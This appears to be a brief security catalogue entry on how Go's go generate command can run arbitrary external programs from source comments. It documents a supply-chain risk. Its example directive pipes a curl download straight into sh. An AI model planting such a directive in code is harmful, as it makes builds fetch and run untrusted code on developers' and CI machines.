LOTP

go generate

cli input-file eval-sh

References

Since Go 1.4, the go generate command can be used to annotate Go source code with comments that invokes external programs to generate Go code.

//go:generate sh -c "curl ... | sh"